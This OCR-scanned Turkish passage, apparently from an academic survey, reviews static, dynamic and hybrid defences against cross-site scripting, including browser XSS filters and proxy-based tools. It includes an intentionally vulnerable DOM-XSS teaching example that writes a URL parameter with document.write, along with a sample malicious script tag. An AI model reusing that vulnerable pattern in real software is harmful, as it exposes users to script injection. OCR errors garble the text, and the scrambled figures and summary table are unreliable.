iizerinden olabilir. Ug analiz bicimi de asagida tartisilmstur,

Statik Analiz

Statik Analiz yaklagimlari, agirlikli olarak uygulamanin kaynak koduna odaklanmaktadir
(Chess ve McGraw, 2004). Kaynak kodu, temel olarak Sekil 2.34’te gosterildigi gibi
giivenlik kusurlarini bulmak icin gézden gecirilir. Statik Analiz, ilgili Web uygulamasinin
yiiriitilmedigi/calistirilmadigi, sadece kodlarin incelendigi anlamina gelir. Bu tiir bazi

mekanizmalar asagida tartisilmaktadir.

XSS filtreleri: Tarayicilarda XSS filtrelerinin calismasiin arkasindaki fikir, Yansitilmig
(Reflected) bir XSS saldirisinda saldir1 komut dosyasinin hem HTTP isteginde hem de

istemci ve sunucu arasinda degis tokus edilen HTTP yanitinda bulunmasidir. Arama, hem
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Web Uygulamasi

!

Kaynak kodu incele

A

Guivenlik
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kodu ile devam et

Sekil 2.34: Statik Analiz Adimlari

istek hem de yanit i¢in ortak olan komut dosyalarina daraltilir. Arama, hem istek hem de
yanit i¢in ortak olan komut dosyalarina daraltilir. HTTP Yaniti, HTML ayristiricisi tarafindan
ayristirllmadan Once veya sonra analiz edilebilir. Asagida cesitli tarayicilarda kullanilabilen
en iyi bilinen XSS filtreleri yer almakta olup Tablo 2.9’da tartisilan XSS filtrelerinin bir 6zeti

verilmisgtir.

Bates, Barth ve Jackson (2010), yaptiklar1 ¢calismada varsayilan olarak Google Chrome’a
gomiilii olan XSS Denetcisini 6nermektedirler. Yanitin semantikini korumak icin tarayici
tarafindan ayristirllincaya kadar analiz edilmez. Dolayisiyla, boyle bir yaklagima “ayrigtirici
sonrasi tasarim” da denir. XSS filtresinin bir tarafinda HTML ayristiricisi, diger tarafinda ise
JavaScript motoru yer almaktadir. Filtre, satir i¢i olay isleyicileri, satir ici komut dosyalari,
JavaScript URL’leri veya harici eklentileri ve komut dosyalarini yiikleme denemelerini
inceler. Saldirgan, sunucusunda depolanan harici bir komut dosyasi kullanabilir ve goreli
URL’leri kullanarak (‘<base>’ HTML 0gesi kullanarak) bir istekte bulunabilir. Ancak,
filtrenin denetimi altindaki tarayici temel URL leri bir kenara birakir. Ardindan, URL istegi,

icindeki komut dosyalarinda aramay1 etkinlestirmek i¢in doniistiiriiliir. Dontisiim URL’1
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(%41°1 A ile degistirmek gibi yontemlerle), karakter kiimesini (UTF-7 kod noktalarini
Unicode kodlamasiyla degistirmek gibi yontemlerle) ve HTML varligini (&amp’i & ile
degistirmek gibi yontemlerle) c¢ozer. Kod ¢ozme bicimindeki bu doniisim “Eglestirme
Algoritmast” tarafindan gerceklestirilir. Siipheli veya kotii amacli komut dosyalarinin

JavaScript motoruna ulagmasina asla izin verilmez.

Isleme Motoru HTML Ayristinicis ]

XS5 Auditor (XSS Filtresi) ]

JavaScript Motoru (Yorumlayici)

Sekil 2.35: XSS Denet¢isi, HTML ayristiricisi ile JavaScript Yorumlayicisi arasinda yer alir.
(Stasinopoulos, Ntantogian ve Xenakis, 2014)

Nava ve Lindsay (2010), yaptiklar1 calismada, IE8 XSS filtresini incelemislerdir. Bu
filtrenin calismasinda iki asama vardir. Birinci asama Sezgisel Eslesmedir. HTTP istegindeki
GET/POST verileri, bir sezgisel tarama kiimesiyle eslesecek sekilde taranir. Bir eslesme
varsa, ikinci adimda kullanilmak iizere imzalar olusturulur. Ikinci asamada bu imzalar, komut
dosyasinin bir HTTP yanitina yansitilip yansitilmadigini belirlemeye yardimci olur. Imzalar
kullanilarak, HTTP yaniti yansitilan herhangi bir komut dosyasi i¢in taranir. Kétiiciil bir
komut dosyas1 tanimlanirsa, etkisiz hale getirilir ve engellenir. Filtreleme sezgisel tarama
yontemi, uygun sekilde kodu ¢6ziilmiis URL’den gelen saldir1 vektorlerini ve ayrica istege
karsilik gelen POST verilerini tanimak icin kuralli ifadeleri kullanir. Sezgisel bir eslesme,

olasi saldirilar tespit etmek i¢in yanitin taranmasi gerektigi anlamina gelir.
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Web Sunucu
A
HTTP istegi HTTP Yanit
by
W
X558 Filtre
IES Ta rayici Mekanizmasi

Sekil 2.36: Microsoft Internet Explorer 8 Tarayicisinda Barindirilan XSS Filtresi (Microsoft
Security Response Center Blog, 2019)

Evet Haywr
Ha - . .
HTML kodda Ayni site ')":- GETJPPST verisinde Evet Her hnrs-_z_gr:shn_:
gezinme var mi2. igerisinde mi? LGl =l ah'f;mr'
HTTP Yaniti

Web tarayicisina
HTTP yanitini gonder

- Sonuglan giinlige kaydet ve Her imza igin uygun Yanit govdesinde
§ kull; bir XSS5 i, yliriitmeyi imza eslegmesi
N engellendigine dair bilgilendir. engellemek igin kisalt. var mi?

Hayir

Sekil 2.37: XSS Filtresinin Mantiksal Akis1 (Microsoft Security Response Center Blog, 2019)
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Maone (2019), Firefox ve Seamonkey gibi Mozilla tabanli tarayicilarda eklenti olarak
islev goren NoScript XSS filtresini incelemigtir. NoScript’in XSS algilama mekanizmasi
biiyiik olciide kuralli ifade tabanhdir. JavaScript, Java, Flash ve diger eklentilerin yalnizca
kullanic1 tarafindan secilen giivenilir bir kaynaktan gelmeleri durumunda yiiriitiilmesine
izin verir. Bagka bir deyisle, bir sitenin erisilebilir olmasi i¢in kullanici tarafindan beyaz
listeye eklenmesi gerekir. Kullanici, bir etki alaninda kod calismasim etkinlestirirse (6rn.;
mozilla.org), olasi tiim protokollerle (6rn.; HTTP, HTTPS) birlikte tiim alt alanlar1 (6rn.;
a.mozilla.org, b.mozilla.org) da etkinlestirmis olur. XSS saldirilarina karg1 kalkan gorevi,
giden HTTP isteginin dezenfeksiyonu ile saglanir. Boylece, potansiyel olarak giivensiz
veya tehlikeli karakterler temizlenir. NoScript yalnizca giden istekleri tarar ve sonug olarak
siipheli komut dosyalarinin yanitta gercekten goriiniip goriinmediginden emin olamaz.
Bu yiiksek oranda hatali pozitiflere yol acabilir. Asir1 siki yapisi nedeniyle NoScript,
sitelerin ¢ogunda komut dosyas1 yiiriitiillmesini engelleme ve boylece islevlerini azaltma

egilimindedir.

Pelizzi ve Sekar (2012), Firefox tarayicisina gomiilebilen, XSSFilt adli, istemci tarafinda
tarayicida yerlesik bir savunma mekanizmasi onermiglerdir. Bu yontem, XSS saldirilarini
tespit etmek icin yaklasik bir dize esleme algoritmasi (uygulamaya 6zel temizleme icin
daha 1yi1 bir secenektir) ve bir dizi politika (Satir i¢i politika ve Dig politika) kullanir. Bir
HTTP istegine karsilik bir HTTP yaniti alindiginda, XSSFilt’in baslangi¢c metodu tarayici
tarafindan cagrilir ve istekle ilgili bilgiler saglanir. Bir sonraki adim, parametreler icin
URL ve POST verilerinin aynistirtlmasim icerir. “(ad, deger)” ciftlerini iceren bir liste
elde edilir. Bu parametre ayristirmasi, kismi kod enjeksiyonlarinin tespiti i¢in énemlidir.
Ancak, 0zel karakterlerin varligi nedeniyle URL diizgiin ayristirllamazsa, tiim yol tek bir
parametre olarak alinir. Parametrelerin ayristirilmasindan sonra kontrol tarayiciya geri doner
ve tarayicinin HTML ayristiricist artik belgeyi ayristirmaya baglar. Nitekim, metin ve kod
diigtimleri dahil olmak iizere cesitli diigtimlerle bir belge agaci olusturulur. Elde edilen
komut dosyas1 diigiimleri, XSSFilt’in izinler metoduna gonderilir. Kod i¢cindeki GET/POST
parametrelerini aramak icin bir alt dize esleme algoritmast kullanilir. Eslesme, komut
dosyasinin yansitildigr anlamina gelir. Eslesen bilesenler, XSSFilt ilkelerine uymuyorsa
engellenir; aksi takdirde tarayicinin JavaScript motoruna gonderilir. Satir i¢i politikalar,
satir i¢i igerik olarak gomiilebilen kotiiciil komut dosyalarini tespit etmek i¢in kullanilirken,

dis politikalar ise bir adla belirtilebilecek koétii amagh komut dosyalarinin algilanmasi igin
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kullanilir. (6rn.; <script src="kotuculkod.js"></script>)

Gupta ve Gupta (2016b), yaptiklar1 calismada Google Chrome tarayicisi i¢in bir uzanti
olan “XSS-immune” aracin ele almistir. XSS-immune ¢ercevesi baglama duyarli temizleme
ve JavaScript dizesi karsilagtirmasina dayanir. Baglangicta, bir HTTP istegine gomiilii
olan komut dosyalar1 ile karsilik gelen HTTP yamitindaki komut dosyalar1 arasinda bir
karsilastirma yapilir. Ilk adimdan sonra, herhangi bir potansiyel zararli faaliyet bulunursa,
uygun temizleme mekanizmalar1 ¢cagrilir. Parametre ve URI secici bileseni, HTTP isteginden
parametre degerlerini ayiklar ve URI baglantilar1 bu bilesenden alinir. URI baglantilarinin
alinmast, harici JavaScript baglantilarin1 ¢ikarmak i¢in kullanighidir. JavaScript kod ¢oziicii
bileseni bu JavaScript baglantilarin1 besler. Daha sonra, temizleme motoru bilesenini
etkinlestirilmeden, HTTP istegi hedef Web sunucusuna gonderilir. HTTP yanit1 alindiginda,
HTML aynstiricisi, HTML sayfasina katistirnlmis olabilecek gizli ve kotiiciil kullanici
ekleme noktalarin1 algilamak icin yaniti ayristirir. JavaScript ¢ikarma bileseni, JavaScript
kodunu cikarmak amaciyla bu enjeksiyon noktalarini DOM agacindaki kodla besler.
Cikarilan JavaScript kodu daha sonra JavaScript kod coziicii bilesenini besler. Bu kod
¢oziicii bileseninin her iki JavaScript kodu kiimesi de vardir ve bunlar1 6zyinelemeli olarak
cozer. Coziilen kod, HTTP istek ve yanit mesajlar1 arasinda herhangi bir benzerlik tespit
eden benzerlik gostergesi bilesenine verilir. Benzerlik bulunursa (yani XSS solucanlart vb.
kotiiciil bir kod bulunursa), temizleme motoru temizleme rutinini gerceklestirir. Son olarak,
giivenli ve sterilize edilmis Web belgesi, tarayiciya verilir. JavaScript kismi dize karsilagtirma

mekanizmasinin yiiriitiilmesiyle, cerceve kismi enjeksiyonlar: da algilayabilir.

Raove dig. (2016), yaptiklar calismada Mozilla Firefox Web tarayicisinin bir uzantisi olarak
hizmet veren XBuster’1 incelemislerdir. Bu arag, oncelikle bir alt dize esleme algoritmasi
kullanir. XBuster’in ana isi, bir HTTP isteginde bulunan HTML ve JavaScript igerigini
bagimsiz olarak ayristirmaktir. Icerikler sirasiyla H ve J baglamlari olarak bilinen alt
dizeler olarak saklanir. Sonug¢ olarak, HTTP yaniti sunucudan geldiginde, XBuster, istekte
oldugu gibi HTML ve JavaScript baglaminin varlig1 i¢in yanit1 inceler. Arama, 6geye gore
yapilir ve bir esik degerinden biiyiik veya ona esit bir uzunluk degeri i¢in bir eslesme
rapor edilir. Bir eglesme bildirilirse, XBuster yaniitn HTML veya JavaScript baglaminda
goriinen <, >, ) vb. gibi 6zel karakterlerin kodlanmasiyla ilgili ek sorumlulugu iistlenmek
zorundadir. Islenmis yanit artik tarayict motoru ile JavaScript yorumlayicist arasinda bulunan

Yorumlama Motoruna aktarilir. Yorumlama Motoru, bir esik degerine tabi olarak gelen
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komut dosyas: ile JavaScript baglami J arasindaki eglesmeleri tanimlar. XBuster hem

Yansitilmig (Reflected) XSS hem de Depolanmis (Stored) XSS’i engeller.

Wang ve Zhou (2016), Mozilla Firefox Web tarayicisinda bir eklenti olarak daditilabilen
kural tabanl bir filtre dnermektedir. Temel olarak filtre, HTMLS ve CORS (Cross Origin
Resource Sharing - Farkli Merkezler Arasi Kaynak Paylasimi) yapisina ve ozelliklerine
dayanir. Her istemci talebi, bir Durdurucu (Interceptor) tarafindan yerine getirilir. Istek,
algilama motorunun kalbi olan Davrams Islemcisine (Action Processor) aktarihir. Bu
islemcinin iki algilama bileseni vardir: normal XSS algilama ve CORS algilama. Normal
XSS algilamasi, sirali davranig algilamanin ek bir islevselligi ile statik analizi kullanir. Saldiri
referansini olugturmak icin kural desenleri kullanir. CORS, Ayn1 Menge Politikasinin (SOP:
Same Origin Policy) getirdigi kisitlamalar1 ele alir. istemcinin, HTTP isteginde yer alan
bir JavaScript nesnesi araciligiyla sunucunun kaynaklarina erismesine, yalnizca kaynaginin
bunu yapma hakki varsa izin verilir (Ryck ve dig., 2012). Buna karsilik istemci, gonderdigi
istege donen yanit ile birlikte gerekli bilgileri iceren bir CORS bashigi da alir. Algilama
motoru, amacina bagl olarak kotiiciil bir komut dosyasina direnen veya kotiiciil olmayan bir

digerine izin veren bir Reaksiyon Islemcisi (Reaction Processor) tarafindan desteklenir.

Tablo 2.9: Ozet olarak XSS Filtreleri

Tespit Kuralh Kismi Duruma Hatah
XSS Filitresi Referans edilen XSS . . komut ilk asama . Uygulanabildigi L
Kullanilan Metod ifadelerin " bagh pozitif
Adr Cahsma saldirist dosyasi onleme . tarayici
tiirii kullanim B temizleme orani
. (Bates, Barth ve . Yansitilmug,
XSS Auditor Jackson, 2010) Tam dize esleme DOM X X v X Google Chrome Orta
XSSFilt (Pelizzi ve Sekar, Yaklagik dize Yansitilmig, X v X X Firefox Orta
2012) esleme Depolanmig
NoSeript (Maone, 2019) ggf:]‘]‘ ifade Yansitilmis v X X X Firefox Yiiksek
(Nava ve Kuralli ifade
1ES8 Lindsay, 2010) tabanh Yansitilmig v X X X 1E8, IE9 Orta
. . Yansttilmug,
XSS-immune (Gupta ve Temizleme ve dize  pyo o 1anmg, X v v v Google Chrome Diigiik
Gupta, 2016) kargilagtirmast DOM
(Rao ve dig., . 3 Yansitilmig, .
Xbuster 2016) Dize esleme Depolanmis X X X v Firefox Orta
(Wang ve Zhou, Kural desenleri ve
Kural Tabanh 201 G)g ’ dizi davrams1 Yansitilmig X X ' X Firefox Orta

temelli

XSS saldirilarim hafifletmek i¢in XSS filtreleri, HTTP isteginde ve yanitinda bulunan kodu
statik olarak analiz eder. XSS filtreleri, web tarayicilarina eklenti olarak dagitilir. Bu filtreler,
tam veya yaklagik dize esleme, dize karsilastirma veya kuralli ifadeler tekniklerini kullanir.
Yukarida tartisilan tim XSS filtrelerinden NoScript XSS filtresi, 2011°de bagka hicbir
filtrenin basariyla algilayamadigi Facebook XSS solucanini tespit edebildigi icin en basarili
filtredir. Peki ya bir XSS saldirisi, daha dinamik bir sekilde yapilirsa? Bagka bir deyisle, bir

XSS solucaninin yiikiiniin statik degil, dinamik olmas1 durumunda saldirinin dogas1 geregi
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tespit edilmesi oldukc¢a zordur. XSS filtrelerinin saglamlig1 bu kosullar altinda sorgulanabilir

bir hal alir.

Dinamik Analiz

Dinamik analiz mekanizmalari, Sekil 2.38’de gosterildigi gibi bir uygulamanin ¢aligma
zamani davranmisina odaklanir. Statik analiz mekanizmalarinin aksine, kaynak kodun
tizerinden geg¢mezler. Giivenlik agiklarini bulmak i¢in uygulamanin yiiriitiilebilir kodu
incelenir. Dinamik analiz mekanizmalari, giivenlik agiklarimi tespit etmekte daha dogru

sonug verir ve daha diisiik hatal pozitif oranlar iiretir.

Web Uygulamasi

!

[ Uygulamay galigtir ]q

Y
[ Uygulamanin galigma zamani l

davranigim analiz et

Givenlik

}[Uygulmadaki kusuru ortadan kaldir

Mevcut uygulama
ile devam et

Sekil 2.38: Dinamik Analiz Adimlar1

Ismail ve dig. (2004), web’de gezinen kullanicinin hassas bilgilerini korumak ig¢in
vekil sunucu tabanl bir yaklagim gelistirdiler. Yazarlarin temel amaci, uygulamalardaki

XSS giivenlik aciklarini otomatik olarak algilamak ve toplamaktir. Sistem, uygulama
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sunucusunda bulunabilecek XSS giivenlik agiklarin1 otomatik olarak algilamak i¢in sirasiyla
istemci ve sunucudan gelen HTTP istegini ve yamitini inceler. Giivenlik aciklarini algilamak
icin vekil sunucu iki modda kullanir: istek degistirme modu ve yamt de8istirme modu.
Istemciden gelen HTTP isteginde HTML 6zel etiketlerinin olup olmadig1 kontrol edilir.
Varsa, yerel olarak kaydedilirler ve daha sonra ilgili yanit geldiginde aym 6zel etiketlerin
olup olmadig1 kontrol edilir. Ozel etiketler, yamtta da varsa, yansitildig1 anlamina gelir ve
uygulamanin XSS’e kars1 savunmasiz oldugunu gosterir. Yanittaki 6zel etiketler daha sonra
vekil tarafindan kodlanir, ancak kaldirilmaz. Giivenli yanit bir uyar1 bildirimi ile istemciye
aktarilir. Vekil sunucusu tarafindan toplanan giivenlik acig1 bilgileri (6rn.; ana bilgisayar
adi, yol adi, istek, zaman damgasi, parametre adi) ileride bagvurmak {izere bir veri tabani

sunucusuna iletilir.

Hallaraker ve Vigna (2005), zararli JavaScript kodunu tespit etmek icin bir denetim
mekanizmasi Onermistir. Denetim sistemi, JavaScript kod yiiriitmesini 6zel olarak Mozilla
Web tarayicisinin JavaScript motoru SpiderMonkey’de izler ve giinliige kaydeder. Kotii
amacl JavaScript davraniglarini tespit etmek icin kullanilan saldir1 tespit teknikleri, anomali
tespit teknikleri ve kotiiye kullanim tespit teknikleridir. Anomali algilama tekniklerinde,
komut dosyalarinin normal davranisina uymayan herhangi bir komut dosyasit davranisi
kot amach olarak kabul edilir. Kotiiye kullanim tespit tekniklerinde onceden tanimlanmis
bazi imzalar vardir ve bir komut dosyasinin isleyisi bu imzalarla kargilastirilir. Denetim
sisteminde ¢aligsan bir komut dosyasinin davranisi normal davranisa uymuyorsa, kotii amacl
olarak kabul edilir. Ayrica, denetim sistemi tarafindan olusturulan ¢ikti imzasi bilinen saldiri

imzalarindan biri olarak varsa, komut dosyasi kotii amagh olarak kabul edilir.

Kirda ve dig. (2006), yaptiklar1 ¢alismada XSS saldirilarini hafifleten ilk istemci tarafi
coziimii olan Noxes adli statik bir ara¢ sundular. Noxes, vekil iglevi goriir ve HTTP
isteklerinde kullanicinin tarayicisi ile Internet arasinda yer alir. Bu nedenle olusturulan tiim
baglantilar Noxes iizerinden tiinellenir. Kullanic1 tarafindan olusturulan filtre kurallarina
bagli olarak, bu baglantilara izin verilebilir veya baglantilar engellenebilir. Boylelikle
saldirgan, kullanicinin hassas bilgilerini kendi kontrolii altindaki bagka bir sunucuya
aktarmakta basarisiz olacaktir. Boyle bir durum ortaya ¢ikarsa, kullaniciya alarm seklinde
bir bildirim gonderilir. Bunun nedeni, vekilde bu etki alamina karsilik gelen bir filtre
kurali olmamasidir. Dolayisiyla, kullanicinin bilgisi ve onay1 olmadan siipheli bir alan

adinda gezinme olmaz. Diger bir 6nemli ayrinti, bir web sayfasindaki tiim yerel ve statik
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baglantilarin giivenli olarak isaretlenmesidir. Kullanic1 daha sonra harici baglantilar icin

olusturulan gecici kurallara uymak durumunda birakilir.

Reis ve dig. (2007), yaptiklar1 calismada kotii amacli HTML sayfalarint yeniden yazarak
islev goren BrowserShield adli bir cerceve gelistirdiler. HTML sayfalarinda, tarayicilar
tarafindan yiiriitilmeden 6nce calisma zamaninda politikalarin uygulandig: yerlesik komut
dosyalart olabilir. Bundan sonra, sayfanin giivenli bir muadili iiretilir. Kotii amagh bir
web sayfasinin dinamik olarak degisen davranigi olabilir ve bu nedenle gomiilii komut
dosyalarina calisma zamani denetimlerini tekrar tekrar uygulayarak giivenlik saglanir.
Politikalar, uygulamalardaki bilinen giivenlik agiklarina uygun olarak olusturulur. Bilinen

bir giivenlik ac1g1 bulunursa, web sayfasi ilgili politika kullanilarak temizlenir. Sisteme genel

bakis Sekil 2.39°da gosterilmektedir.
Poltikalar /
Kurallar
BrowserShield : .
n Korumali Istemci
e || T | il ]l |

Sekil 2.39: BrowserShield Blok Semasi

Cao ve dig. (2012), yaptiklar1 calismada sosyal aglarda XSS solucanlarinin kendi
kendine yayilmasim engelleyen Pathcutter’t onermektedir. Yontemin iki mekanizmasi
vardir: isteklerin ayrilmasi ve kimlik dogrulamasinin goriintiilenmesi. Istemci tarafinda,
uygulamanin farkli sayfalart ayrilir ve yalhtilir. Bir goriiniimiin icerigi, goriiniimler
arasinda DOM izolasyonunu garanti etmek icin sézde alan adlan i¢inde kapsiillenir. Bir
HTTP istegi olusturuldugunda, karsilik gelen web sayfasi (yanit) farkli goriiniimlerden
incelenir. Goriiniimiin gergeklestirilebilmesi i¢in goriiniimlerin uygun haklara sahip olmasi
gerekir. Kimlik dogrulama amaciyla, gizli belirtegler veya yonlendiren tabanli goriinim
dogrulamasi kullanilabilir. Boylece, Pathcutter, web sayfasindan web sunucusuna yapilan
gayri mesru HTTP istekleri ve kurbanin web sayfasina DOM erisimi seklindeki iki farkl tiir

kendiliginden yayilan XSS solucanini engeller.

Gupta ve Gupta (2015a), yaptiklar1 calismada bir Web uygulamasindaki XSS giivenlik
aciklarimi tanimlayan PHP-Sensor adli bir araci tanitmaktadir. Istemci tarafi kullanict

arabirimine uygulanan PHP-Sensor, Oncelikle bir tanima fazinda calisir. Giden bir HTTP
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Isteginde bulunan komut dosyalarim gozlemler ve yanitta bu komut dosyalarinin varligini
denetler. Buradaki basit kavram, istek ve yanitin kendiliginden yayilan XSS yiiklerini
tagtyabilecegidir. Ilk olarak, Parametre Deger Segici modiilii her HTTP isteginden, parametre
degerlerini ve varsa URI baglantilarini ayiklar. URI baglantilarinin varligi, harici JavaScript
dosyalarina baglantilar anlamina gelir ve bu nedenle bu dosyalar1 ayri olarak toplamak i¢in
eszamansiz bir istek gonderilir. Cikarilan degerlerle birlikte bu dosya grubu, P olarak temsil
edilir. Ardindan, komut dosyalar1t Web sayfas1t DOM agacindan cikarilir; HTTP yanitindan
JavaScript icerikleri elde edilir. Bu dosya ve komut dizisi D olarak belirtilir. Daha sonra,
Ozyinelemeli Kod Céziicii modiilii, hem P hem de D’yi iceren 6zyinelemeli kod ¢dzme
islemini baglatir ve bu iglem, kodlanmis komut dosyas1 bulunmayana kadar devam eder. Son
olarak, HTTP Yanit Degisim Dedektorii modiilii kiime P ile kiime D arasinda aynm1 kodu
arar. Herhangi bir benzerligin tespiti, HTTP isteginin yeniden yonlendirilmesine ve bir uyari

mesajinin olusturulmasina yol agar.

Weissbacher ve dig. (2015), JavaScript tabanli Web uygulamalarim1 anormallik algilama
teknikleri kullanarak otomatik olarak sikilastiran tarayici i¢i bir ¢oziim olan ZigZag’1
onerir. JavaScript programlarini giivenli bir sekilde kullanmak amaciyla ZigZag, web
uygulama sunucular1 ve istemcileri arasindaki akisa miidahale eder. Oncelikle ZigZag iki
asamada islev gosterir. Ogrenme asamasinda, ZigZag in istemci tarafi kodunun calisma
izlerini gozlemek amaciyla bir programi vardir. Toplanan izler deismezleri veya modelleri
cikartan Degismez Coziimleyicisi olarak bilinen bir modiile iletilir. Bu modeller, arayan
ve aranan fonksiyonlari, parametreleri ve doniis degerleri, degiskenler, tiirleri ve nesneleri
olusturan veriler iizerine insa edilmistir. Ikinci asama, daha 6nce &grenilen degismezler
veya modeller kullanilarak istemci tarafinda Web uygulamalari bileseninin sikilagtirilmasini
iceren yaptirim asamasidir. Uygulamalarin sikilagtirilmasi sirasinda uygulamanin semantiki
korunur. Uygulamanin sikilagtirilmig siirlimii simdi bir onceki asamadaki gozlemlerden
sapma olmamasini saglamak icin bazi ¢alisma zamani denetimlerinden gecmelidir. Herhangi
bir sapmanin algilanmasi, bir saldirinin meydana geldigi varsayimina yol acar. Gerekli

raporlar kullaniciya gosterilir ve uygulamanin yiiriitiilmesi durdurulur.

Pan ve Mao (2016), DOM tabanl siteler arasi betik calistirma saldirilarinin tespiti ve
azaltilmasi i¢in bir mikro degerlendirme olan DomXSSMicro’yu sundular. DomXSSMicro,
alt1 zafiyete acik dikey bilesen kiimesini temsil eden bir sablondan iiretilmistir. Bilesenler

kaynak (source), yayilma (propagation), doniisiim (transformation), ¢ikis diigtimii (sink),
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tetikleyici (trigger) ve baglam (context)’dir. Mikro denetleme, 175 test vakasindan olusur
ve her test vakasinin DOM tabanli XSS saldirisinin belirli niteliklerini kontrol etmek
icin kati bir amaci vardir. Kaynak bilesen, URL ve cerez bilgileri gibi gelen verilerin
kokenini gosterir. Yayilma bileseni, kusurlu degerlerle ilgili nesneler ve ifadelere, bunlarin
kaynaktan ¢ikis noktasina nasil yayildigina, 6rne8in dizi erisimi, degisken atamasi ve
kontrol akis1 kararina odaklanir. Doniisiim bileseni, yalnizca birlestirme veya kesme yoluyla
degistirilen kusurlu degerlerle ilgilenir. Doniisiim icin escape() ve encodeURIComponent()
gibi temizleme fonksiyonlar1 6rnek olarak verilebilir. Cikis noktast bileseni, kotii amaclh
etkinliklere (6rn.; documentWrite() gibi) etkin bir sekilde katilan nesneleri ve ifadeleri
kusurlu degerleri kullanarak isler. Tetikleyici ve baglam bilesenleri, bir komut dosyasinin
nasil tetiklendigini ve kusurlu igerigin baglamini ele alir. Bir web sayfasinin zafiyete agik
oldugunu kabul etmek i¢in alt1 bilesenin de bu kosulu yerine getirmesi gerekir. Bir bilesen

giivenli olsa bile, sayfa giivenli olarak kabul edilir.

<html>
<head>
<title>Merhabal</title>
<script>
function printName (url) {
var start = url.indexOf {"name=")+5;
var end = url.length; Doniisiim
var name = url.substring(start, end);
|document.write{name}; Cikis noktasi
}
rar url = document.URL;| Kaynak
printName (url) ;lyayilma
</script>
</head>
<body>
<div id="karsilama">
Merhaba, kscript>printName{}<ﬂscript}!<br> Baglan
Sitemize Hos Geldiniz. .. Tetikleyici
</div>
</body>
</html>

Sekil 2.40: DOM tabanli XSS’e kars1 zafiyete acik olan bir 6rnek kod ve HTML sayfasinin
sablonu (Pan ve Mao, 2016)

Mitropoulos ve dig. (2016), yaptiklar1 calismada kotiiciil JavaScript kaynakli XSS
saldirilarin1 yenmeye ¢alisan bir savunma ¢oziimii sunmaktadir. Web tarayicisinin JavaScript

motoru, bir Betik Onleme Katmani (Script Interception Layer) ile entegre edilmistir. Bu
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katmanin ana isi, gelen herhangi bir komut dosyasim1 Web tarayicisina giden olasi tiim
yollardan tamimlamaktir. Gelen komut dosyasi, zaten beyaz listeye alinmis olan mesru ve
gecerli komut dosyalarinin bir listesiyle karsilagtirilir. Gelen komut dosyasi, beyaz liste
komut dosyalarina uymuyorsa yiiriitme durdurulur. Gegerli komut dosyalarinin veri tabant,
Google gibi iigiincii bir taraf veya Web sitesinin yoneticileri tarafindan olusturulur. Egitim
asamasinda, bir Web sayfasinin her tekil komut dosyasi, karsilik gelen bir baglamsal parmak
izi ile iligkilendirilir. Baglamsal parmak izleri, bir komut dosyasinin belirli 6zelliklerini ve
komut dosyasinin yiiriitiildiigli baglami tanimlar. Egitim asamasinda kullanilan teknikler
Denning (1987)’e dayanmaktadir. Parmak izi iiretimini iceren adim, bir giivenlik katmani
olan “nsign” tarafindan gerceklestirilir. Nsign’1n birincil gorevi, bir komut dosyasina karsilik
gelen tiim ogeleri, tarayicinin JavaScript motorundan toplamak, parmak izlerini olusturmak
ve nihayetinde parmak izlerini dogrulamaktir. Sunucu tarafinda iiretilen parmak izleri de
istemci tarafina giivenli bir sekilde aktarilir. Baglamsal parmak izlerini kullanmanin bir

avantaji, hatal pozitif 6rneklerin tistesinden gelmeye yardimei olmasidir.

Gupta, Gupta ve Chaudhary (2018), calismalarinda iki kavrami temel alan bir ¢erceve
onermektedir; calisma zamani DOM iiretimi ve i¢ ice gecmis baglama duyarh temizleme.
Cerceve, esasen tam olarak mobil bulut tabanli CSA (OSN: Online Social Networks - Cevrim
ici Sosyal Aglar) i¢cin calismak iizere tasarlanmistir ve DOM tabanli XSS giivenlik aciklarini
azaltmay1 amacglamaktadir. Cercevenin iki ¢calisma modu vardir; ¢cevrim dis1 ve ¢evrim igi.
Cevrim dis1 modun egitim asamasinda, Web Oriimcek Bileseni yardimiyla Web uygulama
modiilleri taranir ve gomiilii komut dosyas1 bilesenleri ¢ikarilir. Bu, statik DOM agaci
olusturularak yapilir. Cikarilan mesru komut dosyast icerigindeki komut listesinden meydana
gelen bir beyaz liste olusturulur. Daha sonraki asama, ¢cevrim i¢i modun algilama asamasidir.
Bir akilli telefon kullanicist tarafindan gonderilen her HTTP istegine karsilik olarak CSA
sunucusu, ilgili HTTP yanit1 i¢in bir ¢calisma zaman1 DOM agaci olusturur. Komut dosyalart
iceren diigiimler DOM agacindan cikarilir. Bu komut dosyalari, egitim asamasi sirasinda
olusturulan beyaz listedeki komut dosyalariyla karsilastirilir. Bu gorev, Komut Dosyasi
Degisim Bulma Modiilii tarafindan gerceklestirilir. Herhangi bir degisim tespit edilirse,
DOM agacina XSS solucanlarinin enjekte edildigi anlamina gelir. Temizleme Motoru,
varsa enjekte edilen betik dosyasi iizerinde yapilan baglama duyarli temizleme islemlerini
gerceklestirir. Sonunda akilli telefon kullanicisi, tiim XSS solucanlarindan arindirilmig ve

sterilize edilmis bir HTML belgesi alir.



84

Hibrit Analiz

Hibrit Analiz, hem Statik Analiz tekniklerinin hem de Dinamik Analiz tekniklerinin
faydalarin1 birlestirir. Bu yontem, hassasiyet ve etkililik saglar. Sayisal olarak, statik
analiz teknikleri masraflidir ve kesin kararlar verememekten mustariptir. Bununla birlikte,
dinamik analiz teknikleri nispeten daha kesin ve etkilidir. Asagida, her iki yaklagimi da
birlestirerek XSS saldirilarini tespit etmek ve onlemek i¢in gelistirilmis bazi yeni ¢oziimler

incelenmektedir.

Vogt ve dig. (2007), Dinamik Veri Bozulma (Dynamic Data Tainting) ve Statik Analiz
kullanarak XSS saldirilart icin bir Onleme mekanizmasini tartismiglardir. Coziimiin
temeli, istemci tarafindaki hassas bilgileri bozmak veya isaretlemektir. Dile getirmeye
gerek olmadi8i iizere, kullanicinin izni olmadan hassas bilgilerinin giivenilir olmayan
ticlincii bir tarafa gonderilmemesi gereklidir. Bu, Dinamik Veri Bozulma mekanizmasi ile
gerceklestirilir. Ik olarak, kullamictya ait hassas bilgiler bozulur ve herhangi bir komut
dosyasi tarafindan erisildiginde dinamik olarak izlenir. Bozuk veri nesneleri, tarayicinin
JavaScript motoruna kaydedilir. Bir JavaScript programi herhangi bir bozulmus veri
nesnesini iletmeye calistiginda her seferinde bir kontrol yapilir. Bozuk veriler iiciincii bir
tarafa gonderilmek iizereyse (yani alan adi, dokiimani yiikleyen alan adindan farkliysa),
uygun Onlemler alinabilir. Bu tiir eylemler, kullaniciy1 uyarmay1 ve programin yiiriitiilmesini
durdurmayi icerir. Veri bagimliliklari, dinamik kusur analizi ile de ele alinmaktadir. Ancak,
